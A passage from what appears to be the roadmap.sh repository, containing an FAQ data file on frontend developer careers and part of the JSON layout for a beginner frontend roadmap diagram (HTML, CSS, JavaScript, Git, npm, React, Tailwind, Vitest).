    "content": "---\nimport type { FAQType } from '../../../components/FAQs/FAQs';\n\nexport const faqs: FAQType[] = [\n  {\n    question: 'Is Frontend Development really coding?',\n    answer: [\n      'Do frontend developers really code? The answer is yes, absolutely.',\n      'The fact that frontend developers are full-time developers who produce an output that is visually appealing (thanks to the designs provided by others) sometimes confuses others, making them believe that frontend developers aren\\’t really coding. However, that couldn\\’t be further from the truth.',\n      'As a frontend developer, you\\’ll be coding all the time.',\n      'While in some companies, the frontend developer is also a skilled designer or UX engineer, those are not the typical profiles. As a frontend dev, your learning focus should be coding-related (i.e coding best practices, software design patterns, frontend architecture, etc).',\n    ],\n  },\n  {\n    question: 'Is Frontend Developer a good career?',\n    answer: [\n      'As the web space and technology in general continue to evolve, the role of frontend developers becomes more relevant. In the end, providing a web version of an application has quite a lot of benefits, making it the obvious version (unless there is a specific requirement forcing for native development) for most systems, meaning that frontend developers have the potential to be involved in all types of projects and companies.',\n      'This renders the frontend developer career one of the most versatile and in-demand paths in the web tech industry.',\n    ],\n  },\n  {\n    question: 'How to prepare for a frontend developer interview?',\n    answer: [\n      'If you\\’re looking to prepare for a frontend developer interview, make sure you\\’ve tackled the fundamentals of the technologies you\\’ll work with.',\n      'And while that is one of the most impactful things you can do for your frontend career, consider focusing on the following points as well:',\n      '1. **Master the Fundamentals**: Ensure a solid understanding of HTML, CSS, and JavaScript, as they are crucial for the role of frontend developer.',\n      '2. **Practice Coding**: Improve your skills through mini-projects or coding challenges on platforms like LeetCode, especially those focused on front-end development. Using these skills to create a [web developer portfolio](https://roadmap.sh/frontend/web-developer-portfolio) can help you in many ways.',\n      '3. **Learn Modern Frameworks**: Familiarize yourself with popular frameworks like React, Angular, or Vue.js.',\n      '4. **Know Your Tools**: Be comfortable with version control systems, testing, and build tools, which are vital for all types of development, including frontend.',\n      '5. **Understand UI/UX Principles**: Learn about accessibility, responsive design, and intuitive interfaces to stand out.',\n      '6. **Research the Company**: Show interest by learning about the company\\’s business and products.',\n      '7. **Enhance Communication Skills**: Good communication skills are essential for success in any role, so make sure to work on them.',\n    ],\n  },\n  {\n    question: 'How is Frontend Development different from Backend Development?',\n    answer: [\n      'The main difference between frontend development and backend development is that frontend development focuses on the UI, while [backend development](https://roadmap.sh/backend) focuses more on the server-side logic.',\n      'You see, frontend development works with the user interface and user experience, dealing with the design, layout, and interactivity of a website or application using HTML, CSS, and JavaScript (or TypeScript).',\n      'On the other hand, backend development handles the server-side logic, databases, and application functionality, ensuring data is processed and served correctly. The tech stack for backend development is much bigger with more options, such as Python, Java, or Node.js.',\n      'Both options are equally interesting and challenging, so it\\’s not really a question of backend vs frontend, but instead of understanding where you feel more comfortable and what type of systems you enjoy creating.',\n    ],\n  },\n  {\n    question: 'What are the job titles of a Frontend Developer?',\n    answer: [\n      'Front-end developers are also known as front-end engineers, front-end web developers, JavaScript Developers, HTML/CSS Developer, front-end web designers, and front-end web architects.',\n      \"Each of these roles mostly encompasses the same front-end development skills but requires different levels of expertise in different [front-end development skills](https://roadmap.sh/frontend/developer-skills). It's better to look at the job description to get an idea about the job requirements.\",\n    ],\n  },\n  {\n    question: 'How to become a Frontend Developer?',\n    answer: [\n      \"You can [become a frontend developer](https://roadmap.sh/frontend/how-to-become-frontend-developer) by starting with learning HTML and CSS. Don't wait to fully master these and start building simple projects as soon as possible. You could try rebuilding the frontend of your favorite websites using HTML and CSS to start with. Do as many of these projects as possible as you keep learning. Once you are somewhat comfortable with HTML and CSS, start learning some basic JavaScript (DOM manipulation, making backend calls with Fetch or Axios,  etc) and learn how to add interactivity to your websites. While you are at it, learn some basics of Git and GitHub. At this point, you should be able to get an entry-level frontend development job. Keep revisiting this roadmap and try to fill the gaps in your knowledge.\",\n    ],\n  },\n  {\n    question: 'How long does it take to become a Frontend Developer?',\n    answer: [\n      'The amount of time it takes to become a frontend developer can vary depending on several factors, such as your learning pace, previous experience, and the amount of time you are able to dedicate to learning.',\n      \"However, to give you a rough idea, if you are a complete beginner, it could take you anywhere from 3 to 6 months to get a job as an entry-level frontend developer. If you are already familiar with some of the frontend technologies, it could take you anywhere from 1 to 3 months. What's important is to practice as much as you can while you are learning i.e., by building as many projects as you can. You should also participate in online communities and ask for feedback from more experienced developers to accelerate your learning process.\",\n    ],\n  },\n  {\n    question: 'What are the Frontend Developer salaries?',\n    answer: [\n      'Frontend developer salaries can vary depending on factors such as location, experience, and company size. According to data from Glassdoor, the average base salary for a frontend developer in the United States is around $80,000 per year. However, this number can vary greatly depending on location, with the highest-paying cities such as San Francisco, Seattle, and New York having an average salary of $110,000 to $130,000.',\n      \"It's important to keep in mind that these are just averages, and salaries can vary greatly depending on factors such as experience level, specific skills, and the company you work for. With more experience and specific skills, you can expect to earn more.\",\n      'It is worth looking at a range of resources, including salary surveys and job boards, to get a general understanding of the current market in your location and experience level. Also, try reaching out to other professionals in the field and understanding their experience and salary ranges.',\n    ],\n  },\n  {\n    question: 'Should I learn everything listed on the Frontend Roadmap?',\n    answer: [\n      \"This roadmap contains everything that you might encounter while working as a Frontend Developer. You may not need everything listed on this roadmap to get into the industry; every job is different, and most of the jobs will require a subset of the items on the roadmap. However, knowing what you don't know is as important as knowing things, so you can use this roadmap to get an idea of what you are missing as well.\",\n      \"If you are a beginner who is just getting started, don't feel overwhelmed by looking at this roadmap. Look at the answer to the FAQ 'How to become a Frontend Developer?\",\n    ],\n  },\n  {\n    question: 'What are Frontend Frameworks?',\n    answer: [\n      '[Frontend frameworks](https://roadmap.sh/frontend/frameworks) are collections of tools and libraries that help developers build web applications more efficiently. They provide a structure for the code, making it easier to build and maintain complex applications.',\n      'Some popular frontend frameworks include React, Angular, and Vue.js. These frameworks provide a set of tools and libraries that help developers build user interfaces, manage state, and interact with APIs.',\n    ],\n  },\n];\n---\n"
  },
  {
    "path": "src/data/roadmaps/frontend/frontend-beginner.json",
    "content": "{\"nodes\":[{\"id\":\"JN1S4v1vCH6o_1FGxLu6i\",\"type\":\"paragraph\",\"position\":{\"x\":-674.9010635117819,\"y\":-189.37102852942985},\"selected\":true,\"data\":{\"label\":\"This is the beginner friendly version of the Frontend roadmap. Make sure to\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\",\"borderColor\":\"#000000\",\"backgroundColor\":\"#FFFFFf\"},\"oldId\":\"yHmHXymPNWwu8p1vvqD3o\"},\"zIndex\":999,\"width\":354,\"height\":143,\"positionAbsolute\":{\"x\":-674.9010635117819,\"y\":-189.37102852942985},\"dragging\":false,\"selectable\":true,\"focusable\":true,\"style\":{\"width\":354,\"height\":143},\"resizing\":false},{\"width\":165,\"height\":68,\"id\":\"jJebnKe4JftMXZ1lCsipq\",\"type\":\"title\",\"position\":{\"x\":-239.5,\"y\":-100.59925177765109},\"selected\":true,\"data\":{\"label\":\"Front-end\",\"style\":{\"fontSize\":28,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"iogwMmOvub2ZF4zgg6WyF\"},\"zIndex\":999,\"dragging\":false,\"positionAbsolute\":{\"x\":-239.5,\"y\":-100.59925177765109},\"focusable\":true,\"selectable\":true},{\"width\":114,\"height\":49,\"id\":\"yWG2VUkaF5IJVVut6AiSy\",\"type\":\"topic\",\"position\":{\"x\":-214.53656999416484,\"y\":32.270307421902146},\"selected\":true,\"data\":{\"label\":\"HTML\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"U0Pn4yFrx6D4CwpUolzOm\"},\"zIndex\":999,\"dragging\":false,\"style\":{\"width\":114,\"height\":49},\"resizing\":false,\"positionAbsolute\":{\"x\":-214.53656999416484,\"y\":32.270307421902146},\"focusable\":true,\"selectable\":true},{\"width\":114,\"height\":49,\"id\":\"ZhJhf1M2OphYbEmduFq-9\",\"type\":\"topic\",\"position\":{\"x\":-214.53656999416484,\"y\":107.72214459475447},\"selected\":true,\"data\":{\"label\":\"CSS\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"9oRqCFPmznk6bMFAtH0gZ\"},\"zIndex\":999,\"dragging\":false,\"style\":{\"width\":114,\"height\":49},\"resizing\":false,\"positionAbsolute\":{\"x\":-214.53656999416484,\"y\":107.72214459475447},\"focusable\":true,\"selectable\":true},{\"width\":114,\"height\":49,\"id\":\"ODcfFEorkfJNupoQygM53\",\"type\":\"topic\",\"position\":{\"x\":-214.53656999416484,\"y\":181.72214459475447},\"selected\":true,\"data\":{\"label\":\"JavaScript\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"MD3yDMZpJqEcjQpJQtigd\"},\"zIndex\":999,\"dragging\":false,\"style\":{\"width\":114,\"height\":49},\"resizing\":false,\"positionAbsolute\":{\"x\":-214.53656999416484,\"y\":181.72214459475447},\"focusable\":true,\"selectable\":true},{\"width\":100,\"height\":51,\"id\":\"R_I4SGYqLk5zze5I1zS_E\",\"type\":\"topic\",\"position\":{\"x\":-304.6892121675555,\"y\":319.22214459475447},\"selected\":true,\"data\":{\"label\":\"Git\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"R_I4SGYqLk5zze5I1zS_E\"},\"zIndex\":999,\"dragging\":false,\"positionAbsolute\":{\"x\":-304.6892121675555,\"y\":319.22214459475447},\"style\":{\"width\":100,\"height\":51},\"resizing\":false,\"focusable\":true,\"selectable\":true},{\"width\":100,\"height\":49,\"id\":\"qmTVMJDsEhNIkiwE_UTYu\",\"type\":\"topic\",\"position\":{\"x\":-104.68921216755552,\"y\":319.22214459475447},\"selected\":true,\"data\":{\"label\":\"GitHub\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"YFe7BDbyGA_iiDUkx6oqq\"},\"zIndex\":999,\"dragging\":false,\"positionAbsolute\":{\"x\":-104.68921216755552,\"y\":319.22214459475447},\"style\":{\"width\":100,\"height\":49},\"resizing\":false,\"focusable\":true,\"selectable\":true},{\"width\":114,\"height\":49,\"id\":\"ib_FHinhrw8VuSet-xMF7\",\"type\":\"topic\",\"position\":{\"x\":-211.68921216755552,\"y\":451.7248298360628},\"selected\":true,\"data\":{\"label\":\"npm\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"ci4QooZfv4b4V_dbHdBVy\"},\"zIndex\":999,\"dragging\":false,\"positionAbsolute\":{\"x\":-211.68921216755552,\"y\":451.7248298360628},\"style\":{\"width\":114,\"height\":49},\"resizing\":false,\"focusable\":true,\"selectable\":true},{\"width\":117,\"height\":49,\"id\":\"tG5v3O4lNIFc2uCnacPak\",\"type\":\"topic\",\"position\":{\"x\":-213.18921216755552,\"y\":550.7248298360628},\"selected\":true,\"data\":{\"label\":\"React\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"uIal-YNBZj87IUQkpesPY\"},\"zIndex\":999,\"dragging\":false,\"positionAbsolute\":{\"x\":-213.18921216755552,\"y\":550.7248298360628},\"style\":{\"width\":117,\"height\":49},\"resizing\":false,\"focusable\":true,\"selectable\":true},{\"width\":121,\"height\":49,\"id\":\"eghnfG4p7i-EDWfp3CQXC\",\"type\":\"topic\",\"position\":{\"x\":-214.53656999416484,\"y\":651.7248298360628},\"selected\":true,\"data\":{\"label\":\"Tailwind\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"URZEGnsvxsqA6di6RPE-9\"},\"zIndex\":999,\"dragging\":false,\"positionAbsolute\":{\"x\":-214.53656999416484,\"y\":651.7248298360628},\"style\":{\"width\":121,\"height\":49},\"resizing\":false,\"focusable\":true,\"selectable\":true},{\"width\":20,\"height\":102,\"id\":\"LEijbLyxg4RyutKEM2Y5g\",\"type\":\"vertical\",\"position\":{\"x\":-167,\"y\":-202.5992517776511},\"selected\":true,\"data\":{\"label\":\"vertical node\",\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#0A33FF\"},\"oldId\":\"xD07fJ1NmNeAarVCEfubU\"},\"zIndex\":999,\"positionAbsolute\":{\"x\":-167,\"y\":-202.5992517776511},\"dragging\":false,\"focusable\":true,\"style\":{\"width\":20,\"height\":102},\"resizing\":false,\"selectable\":true},{\"width\":121,\"height\":49,\"id\":\"hVQ89f6G0LXEgHIOKHDYq\",\"type\":\"topic\",\"position\":{\"x\":-214.53656999416484,\"y\":762.100267415748},\"selected\":true,\"data\":{\"label\":\"Vitest\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\"},\"oldId\":\"-mSYXMk_uhUAoQAwBhxgp\"},\"zIndex\":999,\"dragging\":false,\"positionAbsolute\":{\"x\":-214.53656999416484,\"y\":762.100267415748},\"style\":{\"width\":121,\"height\":49},\"resizing\":false,\"focusable\":true,\"selectable\":true},{\"id\":\"yHmHXymPNWwu8p1vvqD3o\",\"type\":\"paragraph\",\"position\":{\"x\":15.964587556206538,\"y\":-188.19821046440893},\"selected\":true,\"data\":{\"label\":\"Find the detailed version of this roadmap along with other similar roadmaps\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"left\",\"borderColor\":\"#000000\",\"backgroundColor\":\"#FFFFFf\"}},\"zIndex\":999,\"width\":354,\"height\":143,\"positionAbsolute\":{\"x\":15.964587556206538,\"y\":-188.19821046440893},\"dragging\":false,\"selectable\":true,\"focusable\":true,\"style\":{\"width\":354,\"height\":143},\"resizing\":false},{\"id\":\"2zqZkyVgigifcRS1H7F_b\",\"type\":\"button\",\"position\":{\"x\":29.167961969006683,\"y\":-106.21264704666363},\"selected\":true,\"data\":{\"label\":\"roadmap.sh\",\"href\":\"https://roadmap.sh\",\"color\":\"#ffffff\",\"backgroundColor\":\"#4136D6\",\"style\":{\"fontSize\":17}},\"zIndex\":999,\"width\":329,\"height\":49,\"dragging\":false,\"style\":{\"width\":329,\"height\":49},\"resizing\":false,\"positionAbsolute\":{\"x\":29.167961969006683,\"y\":-106.21264704666363},\"selectable\":true,\"focusable\":true},{\"id\":\"MfErpYwkJ0wiWJZEUVfrb\",\"type\":\"button\",\"position\":{\"x\":-660.5491661871866,\"y\":-109.81921331160987},\"selected\":true,\"data\":{\"label\":\"Visit the Detailed Version\",\"href\":\"/frontend\",\"color\":\"#ffffff\",\"backgroundColor\":\"#232323\",\"style\":{\"fontSize\":17},\"oldId\":\"2zqZkyVgigifcRS1H7F_b\"},\"zIndex\":999,\"width\":328,\"height\":49,\"dragging\":false,\"style\":{\"width\":328,\"height\":49},\"resizing\":false,\"positionAbsolute\":{\"x\":-660.5491661871866,\"y\":-109.81921331160987},\"selectable\":true,\"focusable\":true},{\"id\":\"I2RGaVTaAeRroxbay3SYh\",\"type\":\"label\",\"position\":{\"x\":-446.6381872719935,\"y\":41.270307421902146},\"selected\":true,\"data\":{\"label\":\"Important Tip\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":24}},\"zIndex\":999,\"width\":160,\"height\":36,\"focusable\":true,\"dragging\":false,\"positionAbsolute\":{\"x\":-446.6381872719935,\"y\":41.270307421902146},\"selectable\":true},{\"id\":\"j5AxF9IQtR3JI2nJBXxQN\",\"type\":\"label\",\"position\":{\"x\":-667.6381872719935,\"y\":86.90074822234891},\"selected\":true,\"data\":{\"label\":\"Make sure to build as many projects as possible\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17}},\"zIndex\":999,\"width\":381,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-667.6381872719935,\"y\":86.90074822234891},\"selectable\":true,\"focusable\":true},{\"id\":\"rdjfNKH0jN8X-X8UKOqsl\",\"type\":\"label\",\"position\":{\"x\":-533.6381872719935,\"y\":119.90074822234891},\"selected\":true,\"data\":{\"label\":\"for each node of the roadmap.\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"j5AxF9IQtR3JI2nJBXxQN\"},\"zIndex\":999,\"width\":247,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-533.6381872719935,\"y\":119.90074822234891},\"selectable\":true,\"focusable\":true},{\"id\":\"MO8OXYMBIIA85_u9-7-hi\",\"type\":\"label\",\"position\":{\"x\":-34.689212167555525,\"y\":50.90074822234891},\"selected\":true,\"data\":{\"label\":\"You should be able to find an intern or Junior Frontend\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"j5AxF9IQtR3JI2nJBXxQN\"},\"zIndex\":999,\"width\":431,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-34.689212167555525,\"y\":50.90074822234891},\"selectable\":true,\"focusable\":true},{\"id\":\"F28c0wDzgwUxFMWYz0msx\",\"type\":\"label\",\"position\":{\"x\":-34.689212167555525,\"y\":81.90074822234891},\"selected\":true,\"data\":{\"label\":\"Developer join after learning these three.\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"MO8OXYMBIIA85_u9-7-hi\"},\"zIndex\":999,\"width\":331,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-34.689212167555525,\"y\":81.90074822234891},\"selectable\":true,\"focusable\":true},{\"id\":\"iV045Xe_KaRlNdUE8B60X\",\"type\":\"label\",\"position\":{\"x\":-34.689212167555525,\"y\":134.72214459475447},\"selected\":true,\"data\":{\"label\":\"Start applying for jobs and keep learning.\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"F28c0wDzgwUxFMWYz0msx\"},\"zIndex\":999,\"width\":329,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-34.689212167555525,\"y\":134.72214459475447},\"selectable\":true,\"focusable\":true},{\"id\":\"5OWN-MIXGNevgk4hqqGNI\",\"type\":\"label\",\"position\":{\"x\":-676.5365699941649,\"y\":313.98686990745773},\"selected\":true,\"data\":{\"label\":\"Learn about Version Control Systems\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"j5AxF9IQtR3JI2nJBXxQN\"},\"zIndex\":999,\"width\":299,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-676.5365699941649,\"y\":313.98686990745773},\"selectable\":true,\"focusable\":true},{\"id\":\"ivO34y_rfSoOjWr0uIY5k\",\"type\":\"label\",\"position\":{\"x\":-676.5365699941649,\"y\":344.98686990745773},\"selected\":true,\"data\":{\"label\":\"& start using Git for your future projects.\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"5OWN-MIXGNevgk4hqqGNI\"},\"zIndex\":999,\"width\":319,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-676.5365699941649,\"y\":344.98686990745773},\"selectable\":true,\"focusable\":true},{\"id\":\"8fmQqXlKxsUgztS_FpFH2\",\"type\":\"label\",\"position\":{\"x\":38.49718479195076,\"y\":309.22214459475447},\"selected\":true,\"data\":{\"label\":\"Create your GitHub Profile and publish the\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"5OWN-MIXGNevgk4hqqGNI\"},\"zIndex\":999,\"width\":338,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":38.49718479195076,\"y\":309.22214459475447},\"selectable\":true,\"focusable\":true},{\"id\":\"EtoJWV2ulYQyM8KsBOGLg\",\"type\":\"label\",\"position\":{\"x\":38.49718479195076,\"y\":339.22214459475447},\"selected\":true,\"data\":{\"label\":\"projects you have developed so far to GitHub.\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"8fmQqXlKxsUgztS_FpFH2\"},\"zIndex\":999,\"width\":363,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":38.49718479195076,\"y\":339.22214459475447},\"selectable\":true,\"focusable\":true},{\"id\":\"eSZBxde1HcnqKN2cKqsMj\",\"type\":\"label\",\"position\":{\"x\":-676.5365699941649,\"y\":449.7248298360628},\"selected\":true,\"data\":{\"label\":\"Learn to use npm package manager. This should\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"5OWN-MIXGNevgk4hqqGNI\"},\"zIndex\":999,\"width\":388,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-676.5365699941649,\"y\":449.7248298360628},\"selectable\":true,\"focusable\":true},{\"id\":\"XA6zifDSteE9MSlB1LNcj\",\"type\":\"label\",\"position\":{\"x\":-676.5365699941649,\"y\":479.7248298360628},\"selected\":true,\"data\":{\"label\":\"be a quick one. Just get the basics and move on.\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"eSZBxde1HcnqKN2cKqsMj\"},\"zIndex\":999,\"width\":387,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-676.5365699941649,\"y\":479.7248298360628},\"selectable\":true,\"focusable\":true},{\"id\":\"zSJ-UDNCgQ3fXybKl4VCD\",\"type\":\"label\",\"position\":{\"x\":-9.689212167555525,\"y\":531.7248298360628},\"selected\":true,\"data\":{\"label\":\"Create some project with React. Make sure to\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"8fmQqXlKxsUgztS_FpFH2\"},\"zIndex\":999,\"width\":367,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-9.689212167555525,\"y\":531.7248298360628},\"selectable\":true,\"focusable\":true},{\"id\":\"SBV-Ob7mP22kV6NITaTbX\",\"type\":\"label\",\"position\":{\"x\":-9.689212167555525,\"y\":561.7248298360628},\"selected\":true,\"data\":{\"label\":\"install some external npm packages and include\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"zSJ-UDNCgQ3fXybKl4VCD\"},\"zIndex\":999,\"width\":385,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-9.689212167555525,\"y\":561.7248298360628},\"selectable\":true,\"focusable\":true},{\"id\":\"UyiMx32NdJp2iAhgL6-Il\",\"type\":\"label\",\"position\":{\"x\":-9.689212167555525,\"y\":591.7248298360628},\"selected\":true,\"data\":{\"label\":\"API calls to fetch some external data.\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"SBV-Ob7mP22kV6NITaTbX\"},\"zIndex\":999,\"width\":299,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-9.689212167555525,\"y\":591.7248298360628},\"selectable\":true,\"focusable\":true},{\"id\":\"5ch3Yjc2SDYphArQNE_Zi\",\"type\":\"label\",\"position\":{\"x\":-676.5365699941649,\"y\":645.7248298360628},\"selected\":true,\"data\":{\"label\":\"There are several CSS frameworks available. You\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"eSZBxde1HcnqKN2cKqsMj\"},\"zIndex\":999,\"width\":388,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-676.5365699941649,\"y\":645.7248298360628},\"selectable\":true,\"focusable\":true},{\"id\":\"41he9pJzdk_84NQBVs8gA\",\"type\":\"label\",\"position\":{\"x\":-676.5365699941649,\"y\":675.7248298360628},\"selected\":true,\"data\":{\"label\":\"can pick any. I would recommend learning Tailwind.\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"XA6zifDSteE9MSlB1LNcj\"},\"zIndex\":999,\"width\":403,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-676.5365699941649,\"y\":675.7248298360628},\"selectable\":true,\"focusable\":true},{\"id\":\"N-ssIAczsBG7YQhLX6xZL\",\"type\":\"label\",\"position\":{\"x\":-667.6381872719935,\"y\":762.100267415748},\"selected\":true,\"data\":{\"label\":\"Learn about different Testing types and how to\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"41he9pJzdk_84NQBVs8gA\"},\"zIndex\":999,\"width\":370,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-667.6381872719935,\"y\":762.100267415748},\"selectable\":true,\"focusable\":true},{\"id\":\"SB8Ee41oFdMzsk-znvyIl\",\"type\":\"label\",\"position\":{\"x\":-667.6381872719935,\"y\":798.100267415748},\"selected\":true,\"data\":{\"label\":\"test your frontend using something like Vitest.\",\"href\":\"\",\"color\":\"#000000\",\"style\":{\"fontSize\":17},\"oldId\":\"N-ssIAczsBG7YQhLX6xZL\"},\"zIndex\":999,\"width\":362,\"height\":36,\"dragging\":false,\"positionAbsolute\":{\"x\":-667.6381872719935,\"y\":798.100267415748},\"selectable\":true,\"focusable\":true},{\"id\":\"wBKp8Q5D6WhjVVsD89UHl\",\"type\":\"paragraph\",\"position\":{\"x\":-398.53656999416484,\"y\":914.400748222349},\"selected\":true,\"data\":{\"label\":\"Depending on the depth of your knowledge and your projects, at this point, you should have enough knowledge to find a Junior to Mid-level (maybe even senior) position at any company. Keep learning and building projects till you find a job. Your job will teach you a lot as well.\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\",\"backgroundColor\":\"#ffffff\",\"borderColor\":\"#000000\"}},\"zIndex\":999,\"width\":489,\"height\":164,\"positionAbsolute\":{\"x\":-398.53656999416484,\"y\":914.400748222349},\"dragging\":false,\"style\":{\"width\":489,\"height\":164},\"resizing\":false,\"selectable\":true,\"focusable\":true},{\"width\":409,\"height\":119,\"id\":\"0vLaVNJaJSHZ_bHli6Qzs\",\"type\":\"paragraph\",\"position\":{\"x\":-358.53656999416484,\"y\":1180.7906301811447},\"selected\":true,\"data\":{\"label\":\"Continue Learning with following roadmap\",\"style\":{\"fontSize\":17,\"justifyContent\":\"flex-start\",\"textAlign\":\"center\",\"borderColor\":\"#000000\",\"backgroundColor\":\"WHITe\"},\"oldId\":\"m9eO0jLGuR_9w2JJbe_g2\"},\"zIndex\":999,\"positionAbsolute\":{\"x\":-358.53656999416484,\"y\":1180.7906301811447},\"dragging\":false,\"style\":{\"width\":409,\"height\":119},\"resizing\":false,\"focusable\":true,\"selectable\":true},{\"width\":379,\"height\":49,\"id\":\"OIcmPSbdsuWapb6HZ4BEi\",\"type\":\"button\",\"position\":{\"x\":-343.53656999416484,\"y\":1234.9362876142543},\"selected\":true,\"data\":{\"label\":\"Visit Detailed Frontend Roadmap\",\"href\":\"https://roadmap.sh/frontend\",\"color\":\"#FFf\",\"backgroundColor\":\"#4136D6\",\"style\":{\"fontSize\":17},\"borderColor\":\"#4136D6\",\"oldId\":\"cmSSwPPiiHwYh9ct14N6A\"},\"zIndex\":999,\"dragging\":false,\"positionAbsolute\":{\"x\":-343.53656999416484,\"y\":1234.9362876142543},\"style\":{\"width\":379,\"height\":49},\"focusable\":true,\"resizing\":false,\"selectable\":true},{\"width\":20,\"height\":85,\"id\":\"RLtk1C3gofHnLJ17x3o5b\",\"type\":\"vertical\",\"position\":{\"x\":-164.03656999416484,\"y\":1303.7906301811447},\"selected\":true,\"data\":{\"label\":\"vertical node\",\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2B78E4\"},\"oldId\":\"ExXFPDHXtcOMcvZttzxvD\"},\"zIndex\":999,\"positionAbsolute\":{\"x\":-164.03656999416484,\"y\":1303.7906301811447},\"dragging\":false,\"focusable\":true,\"style\":{\"width\":20,\"height\":85},\"resizing\":false,\"selectable\":true}],\"edges\":[{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"sourceHandle\":\"x2\",\"target\":\"eghnfG4p7i-EDWfp3CQXC\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"8cshqMXb08BgNWbrVWNgN\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0.8 8\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"sourceHandle\":\"z2\",\"target\":\"hVQ89f6G0LXEgHIOKHDYq\",\"targetHandle\":\"y1\",\"data\":{\"edgeStyle\":\"dashed\"},\"id\":\"Qstlhy-gNuV1VlBRCpt-K\",\"selected\":true,\"focusable\":true,\"selectable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"jJebnKe4JftMXZ1lCsipq\",\"sourceHandle\":\"x2\",\"target\":\"yWG2VUkaF5IJVVut6AiSy\",\"targetHandle\":\"w1\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-jJebnKe4JftMXZ1lCsipqx2-yWG2VUkaF5IJVVut6AiSyw1\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"yWG2VUkaF5IJVVut6AiSy\",\"sourceHandle\":\"x2\",\"target\":\"ZhJhf1M2OphYbEmduFq-9\",\"targetHandle\":\"w2\",\"data\":{\"edgeStyle\":\"solid\"},\"id\":\"reactflow__edge-yWG2VUkaF5IJVVut6AiSyx2-ZhJhf1M2OphYbEmduFq-9w2\",\"selected\":true,\"selectable\":true,\"focusable\":true},{\"style\":{\"strokeDasharray\":\"0\",\"strokeLinecap\":\"round\",\"strokeWidth\":3.5,\"stroke\":\"#2b78e4\"},\"source\":\"